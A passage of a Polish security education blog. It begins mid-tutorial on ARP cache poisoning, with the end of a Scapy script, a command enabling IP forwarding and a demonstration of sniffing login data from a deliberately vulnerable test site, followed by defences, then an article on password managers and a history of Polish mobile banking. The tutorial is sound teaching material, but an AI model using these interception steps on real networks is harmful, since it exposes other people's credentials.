 print("Wysłano pakiety ARP")

 sleep(5)

Zakładając, że masz już zainstalowanego Pythona w wersji co najmniej 3.6, bibliotekę Scapy możesz zainstalować za pomocą polecenia:

$ pip install scapy

Przed uruchomieniem skryptu należy włączyć przekazywanie pakietów, aby docierały do miejsca swojego pierwotnego przeznaczenia. Na systemie Linux można to zrobić za pomocą poniższego polecenia (z poziomu użytkownika root)

# echo 1 > /proc/sys/net/ipv4/ip_forward

Teraz można już uruchomić skrypt (również jako root) oraz program Wireshark, aby przechwycić ruch sieciowy.

Na komputerze ofiary, w celach testowych, można wejść na przykładową, specjalnie niezabezpieczoną stronę logowania taką jak http://testphp.vulnweb.com/login.php i wpisać jakieś dane w formularzu:

Zrzut ekranu ze strony http://testphp.vulnweb.com/login.php

W programie Wireshark pojawiły się wpisane przez nas dane:

Zrzut ekranu z programu Wireshark

Jak można zaobserwować, w nasze ręce wpadły informacje, których raczej nie powinnyśmy widzieć.

Jak się bronić?

Na szczęście w dzisiejszych czasach ARP spoofing nie stanowi już takiego zagrożenia, jednak nadal może zostać przeprowadzony skutecznie, jeśli będziemy nieostrożni. Jak chronić nasz ruch przed tego typu przekierowaniem i w rezultacie - przechwyceniem?

Statyczne wpisy w tablicy ARP

Najprostrzym rozwiązaniem kwestii bezpieczeństwa związanej z zatruciem tablicy ARP jest stosowanie statycznych wpisów w owej tablicy, tzn. wpisywanych ręcznie zamiast dodawanych dynamicznie w wyniku działania protokołu ARP.

Nie jest to jednak rozwiązanie zbyt wygodne, ponieważ nawet w małej sieci domowej przy wymianie routera należałoby zmienić adresy MAC w tablicy ARP na wszystkich komputerach zawierających statyczne wpisy. Również łacząc się z Internetem w sieciach publicznych, np. w kawiarni, raczej nikt nie ma ochoty dodawać statycznych wpisów na 10 minut korzystania z sieci, zwłaszcza jeśli używamy telefonu.

Szyfrowanie

Obecnie na wielu stronach na szczęście wykorzystywany jest protokół HTTPS, który jest rozszerzeniem protokołu HTTP zapewniającym szyfrowanie, dzięki czemu nawet w przypadku przechwycenia takiego ruchu przez osobę trzecią, treść komunikacji pozostaje ukryta (o ile oczywiście szyfrowanie nie zostanie przełamane). W prezentowanym wyżej przykładzie, strona logowania korzysta ze zwykłego HTTP i nie szyfruje ruchu, przez co dane logowania są podane na tacy osobie, która przechwyci komunikację. Dlatego ważne jest używanie protokołów, które ją szyfrują.

Dodatkową ochroną, przydatną zwłaszcza w sieciach publicznych, może być tunelowanie ruchu przez serwer wirtualnej sieci prywatnej zaufanego dostawcy usług VPN lub zainstalowanego samodzielnie na prywatnym hostingu. W dużym skrócie, ruch internetowy zostaje przekierowany do serwera VPN, a komunikacja pomiędzy nim a naszym urządzeniem jest szyfrowana niezależnie od używanych przez inne aplikacje protokołów.

Dynamic ARP Inspection

Profesjonalnym rozwiązaniem wykorzystywanym w sieciach różnych organizacji jest wdrożenie DAI, które sprawdza przesyłane pakiety ARP pod kątem fałszowania adresów. Skonfigurowane na przełącznikach weryfikuje, czy adresy IP i MAC w pakiecie są prawidłowe bazując na powiązaniach DHCP. Jeśli nie - taki pakiet zostaje odrzucony.

Aby uruchomić DAI należy wcześniej skonfigurować DHCP snooping.

Podsumowanie

ARP cache poisoning jest standardowym przykładem ataku typu man-in-the-middle wykorzystującym niezbędny wręcz protokół w sieciach lokalnych z adresacją IPv4. Mimo że ów atak jest bardzo dobrze znany, nadal należy zachować ostrożność przy podłączaniu się do obcych (zwłaszcza publicznych) sieci, sprawdzać kto podłącza się do naszej sieci i co w niej robi oraz dbać o to, aby nasza komunikacja była szyfrowana, w szczególności gdy przesyłamy jakieś wrażliwe informacje takie jak loginy i hasła.

Źródła

Strony, którymi się wspierałem:

Menadżer haseł - sejf na żółte karteczki z hasłami

Mon, 03 Oct 2022 00:00:00 +0000

Temat artykułu jest realizowany w ramach Projektu “Cyberakcja - Bezpieczna Bankowa Aplikacja”, finansowanym z grantu Haki na Cyberataki Fundacji Santander. Szczególne podziękowania dla fundacji Manus za pomoc w realizacji projektu.

Menadżer haseł - sejf na żółte karteczki z hasłami

Pośród haseł jakie musimy zapamiętać w trakcie korzystania z Internetu z pewnością jednym z najważniejszych jest hasło do naszego konta bankowego. Dane dostępowe są tutaj kluczowym zabezpieczeniem i pomimo dodatkowych sposobów utrudnienia dostępu osobom niepowołanym, to właśnie silne hasło stanowi naszą główną broń w arsenale obronnym. Nieodzownym jest więc prawidłowe zarządzanie hasłami oraz czuwanie nad ich prawidłową siłą. Dlatego w tym artykule omówione zostaną wszelkie zagadnienia związane z siłą haseł oraz sposobami na ich bezpieczne przechowywanie. Zapnijcie pasy, ruszamy w podróż po świecie menadżerów haseł.

Jakie jest silne hasło?

Odpowiedź na to pytanie jest z pozoru prosta i przez lata utwardzana była w świadomości internautów -, minimum 8 znaków, mała, wielka litera, cyfra, znak specjalny. Brzmi to jak przepis na dobre ciasto, jednak ile jest w tym prawdy? Należy pamiętać, że rozwój technologiczny nie stoi w miejscu i to co było definiowane jako silne hasło w roku 2012 niekoniecznie pozostaje nim w roku 2022. Jeśli chcielibyśmy zaktualizować tę definicję, musielibyśmy zaczerpnąć wiedzy, która jednoznacznie udowodniłaby trudność łamania hasła w zależności od jego skomplikowania. Tak się składa, że takie dane posiadamy.

Na poniższej grafice przedstawiono tabelę z szacowanym czasem łamania hasła o danym skomplikowaniu metodą brute-force przez infrastrukturę chmurową, której moc obliczeniową ocenia się na 523 GH/s (giga hash na sekundę). Dla porównania pojedyncza karta graficzna RTX 2080 cechuje się średnią mocą na poziomie 37 GH/s. Więcej na ten temat możecie przeczytać tutaj.

> Źródło: ["Neskey, C. (2022, March 2). Are Your Passwords in the Green? Hive Systems. Retrieved September 16, 2022"](https://www.hivesystems.io/blog/are-your-passwords-in-the-green)

Jak możemy zauważyć na załączonej grafice, hasło według „starych” standardów można złamać w 39 minut co jest wynikiem bardzo złym, o ile nie tragicznym jak na trudność jego zapamiętania. Prowadzi to do jednego wniosku: czas zmienić definicję bezpiecznego hasła. Osobiście sugerując się powyższą tabelą za minimum silnego hasła uważam 12 znakowy ciąg znaków specjalnych, cyfer i liter zostawiając sobie zapas na przyszły rozwój mocy obliczeniowej. Wyrycie w pamięci hasła typu 1hJk7#$L nie należy do prostych ale co powiecie na hasło 1hJk7#$LjK35 ? Z pewnością widzicie w jakim kierunku to zmierza, hasła nie będą się upraszczać, a raczej utrudniać i to w coraz większym tempie.

Teraz pewnie znajdzie się grupa osób, która z uśmiechem na twarzy powie, „Ale ja mam jedno 20 znakowe hasło do wszystkiego, nikt mi tego nie złamie”. W takim rozumowaniu jest jeden zasadniczy zgrzyt, mianowicie: co zrobisz jeśli to jedno hasło wycieknie do publicznych baz z hasłami? Może już tam jest? To właśnie ryzyko wycieku jest tutaj największym problemem, świat byłby idealny gdyby wszystkie serwisy internetowe dbały o bezpieczeństwo naszych haseł tak samo jak banki o bezpieczeństwo naszych pieniędzy. Tak się niestety nie dzieje i o ile wspomniane instytucje finansowe czuwają by nasze hasła były tak samo bezpieczne jak zawartość naszego wirtualnego portfela, to wycieki z takich stron jak Morele.net obrazują skalę problemu. Po tym moralizatorskim upomnieniu pozostaje mi tylko przekazać dwa kluczowe dla omawianego problemu odnośniki: LINK1 oraz LINK2. Pierwszy z nich zawiera stronę, która sprawdza w dostępnych bazach z wyciekami obecność szukanego maila lub telefonu, co może zapalić nam lampkę w głowie, że dobrze byłoby zmienić hasła. Drugi link, bardziej humorystyczny, ale jednocześnie dający do myślenia pozostawiam tym, którzy nadal twardo chcą korzystać z jednego hasła.

Na koniec rozważań nad siłą haseł dorzucę jeszcze ciekawy przypadek haseł typu BardzoTrudneHasłoDoPewengoSerwisu123!@#. Na pierwszy rzut oka zapewne wyda się wam to słabym hasłem, no bo przecież wyrazy słownikowe i w ogóle jakoś mało skomplikowane, i tutaj właśnie trafiamy na pewnego rodzaju kompromis między siłą, a łatwością zapamiętania. Okazuje się bowiem że hasła tego typu to najlepszy wybór jeśli przeraża nas perspektywa zapamiętania trudnych haseł, ale zależy nam na bezpieczeństwie. Dlaczego tak się dzieje? Głównym sprawcą tego porozumienia jest język a konkretniej ilość wyrazów jakie zawiera. Obok ataków siłowych brute force mamy również ataki słownikowe czyli próbowanie wszystkich haseł z pliku tekstowego od góry do dołu, takie pliki mogą ważyć nawet po kilkaset GB a przy tym zawierają jedynie ułamek procenta wszystkich możliwych kombinacji wyrazów i innych znaków. Z tego też powodu niemożliwe jest stworzenie słownika z wszelkimi kombinacjami wyrazów dla danego języka, pozostaje więc metoda brute-force, ale tutaj życzę powodzenia współczesnym komputerom w złamaniu 39 znakowego hasła zwierającego litery, znaki specjalne i cyfry.

> Źródło: ["How secure is your password. (n.d.). Password Strength Meter. Retrieved September 16, 2022"](https://www.passwordmonster.com/)

Wszystko wydaje się piękne, ale od wad nie uciekniemy. To rozwiązanie niestety ma kilka problemów. Po pierwsze nie wszystkie serwisy pozwalają na tak długie hasła, przez co tracimy na ich sile i musimy coraz bardziej kombinować by zachować jego moc. Po drugie i najważniejsze, zapamiętanie jednego takiego hasła nie spowoduje trudności, ale konia z rzędem temu kto zdoła spamiętać takie hasła do 10 różnych serwisów. Umieszczenie nazwy usługi w haśle by łatwiej je zapamiętać niestety naraża nas na problem związany z jego wyciekiem.

Jak widać problem zarządzania hasłami jest bardzo duży, nie jest możliwe zachowanie pełnego bezpieczeństwa i łatwości zapamiętania jednocześnie. Dla zainteresowanych tematem mocnych danych dostępowych zostawiam stronę pod LINKIEM, która oblicza siłę hasła na podstawie jego skomplikowania. Artykuł jednak nie kończy się tutaj, gdyż to właśnie teraz przechodzimy do omówienia rozwiązania będącego niczym antybiotyk w walce z bakterią lub ekwiwalent broni atomowej w arsenale chroniącym nasze dane w Internecie, chodzi o menadżery haseł.

> Źródło: ["Meme Generator"](https://memegenerator.net/instance/72789147/spongebob-rainbow-when-you-are-more-than-half-way-done)

Dlaczego warto?

Po tym jakże zachęcającym zwiastunie, czas przejść do rzeczy. Jak wspomniałem, menadżer haseł stanowi remedium na problemy związane z zapamiętywaniem haseł. Pozwala on na sprawne, wygodne a przede wszystkim bezpieczne zapisywanie haseł, będące pewniejszą alternatywą dla spisywania danych dostępowych na kartkach przyklejonych pod klawiaturą, podkładką myszy czy, o zgrozo: do boku monitora. Dla osób które pierwszy raz zderzają się z terminem menadżera haseł, przeprowadzę krótkie wprowadzenie.

Menadżer haseł jest oprogramowaniem, które najprościej mówiąc jest jak bezpieczny sejf zabezpieczony oddzielnym hasłem, na nasze wirtualne żółte karteczki z danymi dostępowymi. Pozwala to na zapisanie nieograniczonej ich ilości, a co najważniejsze pozostają one zabezpieczone. To tyle, właśnie poznałeś definicję menadżera haseł a raczej jego głównej części bez której nie moglibyśmy mówić o menadżerze. Na przestrzeni lat oprogramowanie tego typu przeszło dynamiczny rozwój i korzysta z wielu dodatkowych funkcji z czego najpowszechniejsze wymienię poniżej. Po pierwsze, stosuje się logowanie za pomocą weryfikacji 2 stopniowej, co wzmacnia poziom bezpieczeństwa. Taka weryfikacja odbywa się na wiele sposobów; Najczęściej jest to kod wysłany na mail, google auth czy poprzez sms, ale również coraz więcej menadżerów korzysta z fizycznych kluczy takich jak np. rodzina YubiKey. Kolejną funkcją dodatkową jest możliwość zapisania bazy z hasłami w chmurze, definiuje to niejako typ naszego menadżera który może pracować w trybie offline (baza z hasłami zapisana na naszym komputerze), online (dostęp do chmury) lub hybrydowo (co jakiś czas bazy na naszych komputerach są synchronizowane by były takie same). Korzysta się również z funkcji generowania haseł o zadanej sile co ułatwia dodawanie kolejnych pozycji w bazie, eliminując konieczność wymyślania kolejnych unikalnych haseł przy okazji, czasami oceniana jest nawet siła danego hasła podobnie jak na podlinkowanej wcześniej stronie. Poza trzema kluczowymi dodatkami stosuje się wiele pomniejszych jak maksymalizacja dostępności tj. multiplatformowość (dostęp przez stronę, aplikację na telefonie, komputerze i/lub rozszerzenie w przeglądarce), dodatkowo wiele menadżerów obsługuje wprowadzenie dodatkowych danych dostępowych takich jak login, URL strony do której jest hasło itp. w wielu przypadkach możliwe jest nawet autouzupełnianie pól w przeglądarce jeśli dysponujemy rozszerzeniem.

Online vs Offline i dlaczego nie należy bać się chmury?

No dobrze, teraz mogę się założyć, że co najmniej kilku z was zada sobie pytanie: „Wszystko fajnie, ale ja nie chcę udostępniać swoich haseł jakimś podejrzanym firmom, wolę trzymać wszystko u siebie”. Odpowiadając, porównam to podejście do trzymania pieniędzy w domowym sejfie, jest to bezpieczne rozwiązanie, ale żeby dostać się do pieniędzy będąc w sklepie na drugim końcu miasta musimy wrócić do domu, otworzyć sejf, wyciągnąć pieniądze i wrócić do na zakupy. To powinno wam rozjaśnić oczywisty problem z dostępnością, oczywiście, jeśli nie przeszkadza wam konieczność dbania o zsynchronizowanie waszych baz oraz fakt, że awaria sprzętu może zablokować wam dostęp do wszystkich serwisów których dane dostępowe przechowywaliście, to droga wolna. Jednakże nie byłbym sobą gdybym nie spróbował was przekonać do postawienia na efektywność przy jednoczesnym zachowaniu, jak zaraz się okaże, tego samego poziomu bezpieczeństwa.

Postawiłem tezę, teraz wypada ją uargumentować. Otóż tak się składa że biorąc pod uwagę ryzyko wycieku danych, bazy danych przechowują hasła w formie tzw. hashy lub skrótów czyli unikalnych ciągów znaków z których nie można odzyskać wejściowego tekstu, jest to przeciwieństwo szyfrowania które pozwala na odzyskanie wejściowych danych jeśli posiadamy klucz. Dzięki temu nawet wyciek bazy danych nie spowoduje przechwycenia haseł a jedynie ich hashy, co zmusza atakujących do ich crackingu np. metodą brute-force lub słownikowo wykorzystując tablice tęczowe (listy znanych, popularnych haseł w formie skrótów). Zmierzając do celu, polecam się teraz skupić bo procedura rejestracji i logowania do menadżera haseł może być skomplikowana więc to część dla szczególnie zainteresowanych zagadnieniami technicznymi, a więc ruszamy.

1. Podanie danych do rejestracji w tym hasłak 2. Hasło jest hashowane do postaci skrótu jest to nasz Klucz A 3. Generuje się jednorazowo Klucz C, będący losowym, stałym dla danego konta hashem 4. Szyfruje się Klucz A przy użyciu Klucza C, w efekcie powstaje Klucz B 5. Klucz B zapisywany jest w Bazie z danymi wszystkich użytkowników serwisu. 6. Klucz A zostaje zaszyfrowany z użyciem Klucza C w bazie danych 7. Kolejne zapisywane hasła również są zaszyfrowane z użyciem Klucza C

> Diagram tworzenia nowego konta w serwisie

Proces logowania do już istniejącego konta wygląda natomiast tak:

Podanie danych do rejestracji w tym hasła
Hasło jest hashowane do postaci skrótu jest to nasz Klucz A
Pobierany jest Klucz B z bazy danych o użytkownikach
Deszyfruje się Klucz B z użyciem Klucza A w efekcie powstaje prawdopodobny Klucz C
Podjęta zostaje próba odszyfrowania Klucza A zapisanego w bazie z zapisanymi hasłami
Następuje porównanie wygenerowanego przy logowaniu Klucza A z Kluczem A zapisanym w bazie, odszyfrowanym wcześniej z pomocą prawdopodobnego Klucza C
Jeśli te dwa Klucze A są identyczne, oznacza to że dane logowania są poprawne, użytkownik zostaje zalogowany i uzyskuje dostęp do zapisanych haseł gdyż zostały one poprawnie odszyfrowane Kluczem C który okazał się być tym właściwym.
W przeciwnym razie użytkownik zostaje odrzucony, nie udało się zalogować Klucze A nie były takie same a zapisane hasła pozostają niezrozumiałym bełkotem.
Po pomyślnym zalogowaniu kolejne zapisywane hasła są zaszyfrowane z użyciem Klucza C

> Diagram ponownego logowania do serwisu

Podsumowując, procedura zapisywania haseł oraz dostępu do konta zakłada, że w żadnym miejscu nie przechowuje się faktycznych haseł w czystej postaci, a samo hasło logowania jest dodatkowo szyfrowane. Ponadto przechowywany w bazie klucz jest bezużyteczny dla potencjalnego atakującego. Nawet właściciele serwisu nie są w stanie odczytać zawartości twojej bazy z hasłami. Myślę że wszystkie te zalety jednoznacznie świadczą o tym, że nie należy się bać menadżerów haseł działających online bo nasze dane są podwójnie szyfrowane a tym samym kompletnie bezpieczne.

Pozostaje już tylko kwestia potencjalnej awarii. Tak jak wspomniałem, nawet to zostało przemyślane. Serwisy oferujące usługi menadżera haseł przykładają ogromna uwagę do tej kwestii, co kilka minut tworzone jest wiele nadmiarowych backupów na kilku serwerach co upewnia nas że nawet jeśli jedne przestanie działać nasze dane pozostaną na innych i będzie można je przywrócić. Jedynym minusem menadżerów online jest awaria po stronie dostarczającej Internet lub usługi DNS infrastrukturze chmurowej z menadżerem haseł. W takim przypadku niestety menadżer przestanie odpowiadać, gdyż zostanie zerwane połączenie, w efekcie nie będziemy mogli się zalogować do naszego konta. Sam miałem raz taki przypadek, powrót do działania nastąpił po godzinie, jednak zalany potem obserwowałem co się dzieje z moimi hasłami.

Który menadżer wybrać?

Cały ten opis stanowi podsumowanie tego, co oferują współczesne menadżery haseł. Jak pewnie nie ciężko się domyślić powoduje to niezły mętlik w głowie, który menadżer wybrać. Osobiście używam Bitwardena, ale jest to moja preferencja, zachęciła mnie bardzo wysoka dostępność na praktycznie wszystkich platformach przy czym jest on całkowicie darmowy dla użytkowników indywidualnych. Pozostałe propozycje to między innymi KeePass który jest menadżerem Offline, więcej o nim możecie przeczytać TUTAJ. Inną wartą rozpatrzenia alternatywą w 2022 roku jest LastPass oferujący bardzo podobne funkcjonalności, co Bitwarden, jednak nie jest to oprogramowanie open source, dodatkowo plan premium jest droższy od wspomnianego, jeśli chodzi o dostępność jest ona porównywalna, również mamy do dyspozycji z rozszerzeń w przeglądarce jednak do mniejszej ich ilości. Popularny jest również 1Password, nie ma on jednak opcji korzystania za darmo, co dla wielu stanowi pewnie minus, pozostałe funkcjonalności są wręcz kalką z Bitwardena i tutaj właśnie napotykamy na bardzo kluczowy wniosek. Omawiane przeze mnie przy okazji wprowadzenia dodatkowe funkcje są aktualnie obecne w praktycznie wszystkich topowych menadżerach, z tego też powodu porównywanie ich jest trudne, gdyż oferują bardzo podobne usługi, jedynym co się zmienia to cena. Zostawiam wam więc LINK do kompleksowego porównania popularnych menadżerów haseł online i zachęcam do zapoznania się z listą wybierając ten który najbardziej wam odpowiada.

Podsumowanie

Na koniec chciałbym jeszcze raz przekazać wam, że to właśnie prawidłowe zarządzanie mocnymi hasłami stanowi cienką granicę między świadomym, bezpiecznym korzystaniem z Internetu, w szczególności stron banków, a światem słabych, identycznych haseł zapisywanych na żółtych karteczkach.

Wykorzystane materiały:

Historia bankowości mobilnej oraz bezpieczeństwo aplikacji bankowych

Mon, 19 Sep 2022 00:00:00 +0000

Historia Bankowości Mobilnej:

Telefon jako urządzenie o wielu zastosowaniach stał się, obok kluczy, najważniejszą rzeczą jaką zabieramy z domu. Z upływem czasu komórki stały się nie tylko aparatem do komunikacji, ale również notatnikiem, kalendarzem, prognozą pogody, nieograniczonym źródłem wiedzy wszelakiej. Stały się dla nas drugimi portfelami, którymi możemy dokonywać płatności oraz potwierdzać swoją tożsamość przez wirtualne wersje dokumentów. W jaki sposób powstała bankowość mobilna, która jest nam dzisiaj powszechnie znana? Odpowiedź znajdziecie w tym artykule.

Co ciekawe bankowość mobilna nie jest wcale taka nowa, jakby się mogło wydawać. Oczywiście kiedyś nie funkcjonowała w postaci aplikacji na smartfonach. Początek wszystkiego stanowi oczywiście Internet. Wykorzystując technologie takie jak SMS oraz WAP (Wireless Application Protocol), Wielkopolski Bank Kredytowy jako pierwszy w Polsce (kiedyś Bank Zachodni WBK, dziś bank Santander), w roku 1999 (technologia SMS) oraz 2000 (technologia WAP), mógł poszczycić się dostępem do bankowości przez telefon.

Nie byłoby bankowości mobilnej bez tej elektronicznej. Już w roku 2000 mBank, jako pierwszy wirtualny bank w Polsce, zaprezentował bankowość na miarę przyszłości: nie dysonował żadnymi fizycznymi oddziałami, obsługa odbywała się tylko przez Internet i telefonicznie.

Technologia SMS była jednak tylko powiadomieniami „push”, czyli jedynie informowała o komunikatach z banku. Nie było możliwości aktywnego wprowadzania działań, przez co sam pomysł nie był powszechnie uważany za odkrywczy. Takie rozwiązanie było mało opłacalne, ponieważ za każdy SMS wygenerowany przez bank należało zapłacić, a informacje jakie za pomocą wiadomości można było uzyskać to np. wysokość salda.

Krótko o Protocole WAP:

WAP jako protokół dla bezprzewodowych sieci komunikacyjnych został stworzony, aby realizować proste cele: przyśpieszyć proces wyszukiwania na telefonach komórkowych, a tym samym ograniczyć ilość zużywanych danych. Protokół rozwiązywał problemy z transmisją danych, brakiem pamięci, oraz wprowadzał ekrany LCD. Tym samym w telefonach starszej generacji znajdziemy tzw. mikroprzeglądarki obsługiwane przez język WML (Wireless Markup Language) - uproszczoną wersją języka HTML. To właśnie tę technologię wykorzystała firma Nokia w swoim telefonie Nokia 7110, który jako pierwsza komórka miała możliwość przeglądania Internetu. WAP umożliwiał sprawdzanie salda, zdalne zarządzanie lokatami oraz wykonywanie przelewów. Protokół został wyparty przez Java Micro Edition z racji wysokich marż na produktach tylko jednego producenta. Technologia ta była dostępna tylko dla zamożnych klientów, a same koszty generowane przez operatorów GSM odstraszały od korzystania z możliwości proponowanych przez WAP.

Bezpieczeństwo rozwiązania WAP opierało się na zabezpieczeniach protokołów sieciowych, głownie WTLS, czyli bezprzewodowego wariantu protokołu SSL/TLS. Wykorzystanie szyfrowania asymetrycznego zapewniało poufność komunikacji między serwerem WWW a bramą WAP. To właśnie w bramie WAP, która zachowywała się podobnie jak serwer proxy, dochodziło do zamiany pakietów, które były możliwe do przeczytania w innym protokole sieciowym np. TCP/IP. Sam WTLS miał wiele niedoskonałości, jeśli chodzi o zabezpieczenia. Jeśli interesuje Cię temat bezpieczeństwa WAP w szerszym stopniu zajżyj do tego artykułu - The Wireless Application Protocol.

Dynamiczny rozwój bankowości

Dobrze znane nam aplikacje bankowe pojawiły się z wejściem na rynek systemu Android. Dopiero w 2004 roku na rynku zadebiutowała pierwsza aplikacja z prawdziwego zdarzenia – R-Mobile. Wypuścił ją Raiffeisen Bank Polska. Jako jedyna w Polsce aplikacja, nie była zależna od operatora telefonii komórkowej (było to dość powszechne zjawisko do tego czasu) przez co nie wymagała wymiany karty SIM. Napisano ją w języku Java 2 Micro Edition i w obecnym czasie budziło to spore kontrowersje ze względu na niestabilność programów napisanych w tym języku. Java ME (zamienna nazwa Javy 2 Micro Edition) posiadała swój własny, okrojony w stosunku do Java SE zbiór klas zwanych konfiguracją (ang. configuration), dzięki czemu idealnie sprawdzała się na telefonach o ograniczonych zasobach obliczeniowych oraz pamięciowych. Aplikacja była wysyłana zdalnie na telefon klienta, a logowanie do niej następowało przez specjalnie wygenerowany kod RPIN. Szyfrowanie transmisji danych odbywało się za pomocą algorytmu 3DES ze zmiennym kluczem, co zagwarantowało wymagany poziom bezpieczeństwa". Sam przesył pakietów odbywał się dzięki technologii GPRS (General Packet Radio Service), technika była związana z pakietowym przesyłaniem danych w sieciach GSM.

Ciekawostka: GPRS jest często nazywane “technologią” 2.5G, z racji tego, że stanowił element niezbędny do ewolucji GSM a w konsekwencji powstania technologii 3G.

Dzięki usłudze, jaką była R-Mobile, można było między innymi: sprawdzić saldo i dostępne środki, wykonywać przelewy (wewnętrzne oraz zewnętrzne), sprawdzić historię 7 ostatnich operacji na rachunku, wykonać operację spłacenia raty kredytu, założyć lokatę ze środków posiadanych na kontach.

> źródło: https://gsmonline.pl/artykuly/polski-raiffeisen-nadal-liderem-w-m-bankowosci

W 2005 roku Bank Millennium udostępnił klientom bankowość mobilną wykorzystującą kody SMS. Niektóre Banki nadal świadczą usługi związane z SMS bankingiem np. Bank Spółdzielczy w Limanowej. Dzięki specjalnej konstrukcji SMS-a i wysłaniu go na odpowiedni numer można opłacać rachunki czy uzyskać wartość salda. Jednakże bankowość w formie SMS nie do końca spełniała oczekiwania klientów i oczywiście stwarzała wiele kontrowersji, jeśli chodzi o bezpieczeństwo.

> źródło: https://www.bs.limanowa.pl/oferta/sms-banking

Pierwsze aplikacje, jakie dobrze znamy, pojawiły się na systemie IOS po wystąpieniu Steve’a Jobsa w 2007 r., Apple zaprezentowało pierwszy model iPhone’a – telefon wyposażony został w rewolucyjny ekran dotykowy, który można obsługiwać za pomocą palców. IPhone’y nie były tak szeroko dostępne w Polsce, dopiero czas miał pokazać potęgę rozwiązania oferowanego przez firmę Apple.

W 2008 roku firma Inteligo wystartowała testowo ze swoją innowacyjną usługą serwis lajt. Serwis był dostosowany do korzystania z niego na urządzeniach mobilnych, charakteryzował się lekkością, był pozbawiony zbędnych reklam oraz grafik. Serwis był dostępny z poziomu przeglądarki, dzięki czemu nie wymuszał na użytkowniku instalowania dodatkowej aplikacji. Specjalnie zaprojektowany serwis lajt ograniczał zużycie danych komórkowych, dzięki czemu korzystanie z Internetu na telefonie stało się bardziej dostępne. Na początku roku 2009 do bankowości lajt dołączyły się m.in. takie banki jak Alior Bank, mBank oraz ING Bank Śląski.

Dopiero Rok 2009 był przełomowy dla polskiego rynku bankowego, ponieważ pojawiła się pierwsza aplikacja bankowa napisana na system iOS – był to Mobilny Bank wdrożony przez Raiffeisen Bank Polska. Natomiast w tym samym roku, po raz pierwszy, ukazał się w Polsce telefon z systemem android HTC Dream, sprzedawany pod marką Era G1.

Różnorodność związana z systemami operacyjnymi na smartfonach nowej generacji spowodowała rozwój konkurencyjności marek, dzięki czemu szybko uzyskaliśmy nowe, coraz bardziej zaawansowane aplikacje i technologie. Najbardziej pomocne dla bankowości elektronicznej było pojawienie się sklepów internetowych. Polski rynek e–commerce równolegle do elektronicznych rozwiązań bankowych rozwija się od 1999r.. To właśnie w tym roku pojawił się najbardziej rozpoznawalny serwis aukcyjny Allegro.pl. W miarę powstawania coraz to nowszych sklepów internetowych, wzrosła też potrzeba bezpiecznego zaksięgowania płatności. Tym samym narodziły się takie systemy płatności jak: PayU, PayPal, Przelewy24 oraz dobrze nam znany rodzimy Blik - technologia ułatwiająca nam rozliczanie się, obecnie nawet w większości sklepów stacjonarnych.

Przegląd metod płatności internetowych:

PayU - Pierwszą transakcją z PayU 3.06.2002 r. w Polsce było doładowanie telefonu na 20zł. W roku 2005 PayU zostało zaprezentowane przez Allegro jako funkcja “Płatności Allegro”, dzięki czemu system ten zyskał wielu zwolenników z racji wygody oraz oczywiście zaufania, gdyż wiele osób zaczęło z niego korzystać. Od 2012 roku platforma ta staje się Instytucją Płatniczą, uzyskuje pierwszą tego typu licencję wydaną przez KNF w Polsce, a tym samym rozpoczyna działalność centrum autoryzacyjno - rozliczeniowe PayU.
PayPal - Nie jest naszym rodzimym systemem, wywodzi się z amerykańskiego rynku. PayPal działa na zasadzie wirtualnej skarbonki (cyfrowy portfel). W systemie PayPal klienci mogą płacić przy użyciu karty kredytowej bądź salda konta PayPal, które można zasilać przelewami z konta bankowego lub innego konta PayPal.
Przelewy24 - Serwis powstał w roku 2004, wspiera różne metody płatności od Blika po przelewy, realizuje system portfeli elektronicznych oraz jest połączony z Google Pay, oraz Apple Pay. Jest pośrednikiem płatności między sklepem internetowym np. Allegro a klientem. System natychmiast księguje płatność klienta, który dokonuje ją jedną z dostępnych metod np. przelewem natychmiastowym (tzw. pay by link), przelewem zwykłym lub kartą płatniczą. Dana wpłata zostaje przydzielona w systemie pośrednika do odpowiedniej firmy, rozliczając się co pewien okres czasowy. Oczywiście serwisy pośredniczące funkcjonują pobierając drobną opłatę za wykonanie transakcji. W przypadku Przelewów24 jest to kwota zaczynająca się od 1.90%, natomiast PayU pobiera 2.3% kwoty.

Co ciekawe, dodatkowe 30gr doliczane przy płatności kartą u dwóch największych gigantów rynku pośredników płatności wynikają ze specjalnego opodatkowania transakcji. Opłaty interchange są różne co do poszczególnych krajów i tyczą się każdej płatności, która jest dokonywana kartą, zarówno w sklepie stacjonarnym, jak i internetowym. W Polsce jest to opłata w wysokości 0.2% na karty debetowe i 0.3% na karty kredytowe i obciążeniowe. Wszystkie krajowe stawki opłaty interchange znajdziesz tutaj: Krajowe stawki opłaty interchange (visa.pl)

> źródło: https://zalecamy.pl/porownanie-platnosci-online

Blik - System płatności mobilnych dostępny dla użytkowników od lutego 2015 r. Jednak prace nad systemem rozpoczęły się już w 2013 r. kiedy firma Polski Standard Płatności oraz sześć największych polskich banków (Alior Bank, Bank Millennium, Bank Zachodni WBK (teraz Santander), ING Bank Śląski, mBank i PKO Bank Polski) zostali zainspirowani do pracy nad nowym projektem. Blik na początku został tworzony wykorzystując do tego system IKO PKO Banku Polskiego.

Spójrzmy na liczby:

W raporcie za IV kw. 2017 r. PRNews.pl umieszcza informację o ilości otwartych kont indywidualnych wśród 19 najpopularniejszych banków w Polsce. Co ciekawe, w przeciągu roku, tzn. porównując z okresem IV kw. 2016 r., liczba kont wzrosła o 764 tys. Natomiast od roku 2017 do 2021 liczba kont w Polsce wzrosła o 3,3 mln. Świadczy to o wysokiej ufności Polaków do instytucji bankowych. Dodatkowo, technologie dostarczania paczek za pomocą paczkomatów wykorzystywane przez firmę InPost zrewolucjonizowały sposób odbierania przesyłek. Z raportu Gemius „E-commerce w Polsce 2020” z połowy 2020 r. wynika, że aż 73% internautów robi zakupy online, a ich liczba wzrosła o 11 punktów procentowych, w porównaniu z danymi z lat poprzednich - 62% ankietowanych internautów, którzy zostali przebadani w 2019 roku, 56% w 2018 roku i 54% w 2017 roku. Raporty można znaleźć pod tymi odnośnikami: Raport PRNews.pl: Rynek kont osobistych – IV kw. 2017 Raport PRNews.pl: Rynek kont osobistych – IV kw. 2021 E commerce w Polsce (3 najważniejsze statystyki + RAPORT) - UniqueSEO

Co sprawia, że płatności są bezpieczne?

Przejdźmy do zabezpieczeń, które są wykorzystywane w obecnym czasie. W dalszej części artykułu skupię się na płatnościach internetowych takich jak: przelewy wykonywane w banku, czy u pośredników płatniczych. Fizyczne płatności kartą są tematem na osobny artykuł.

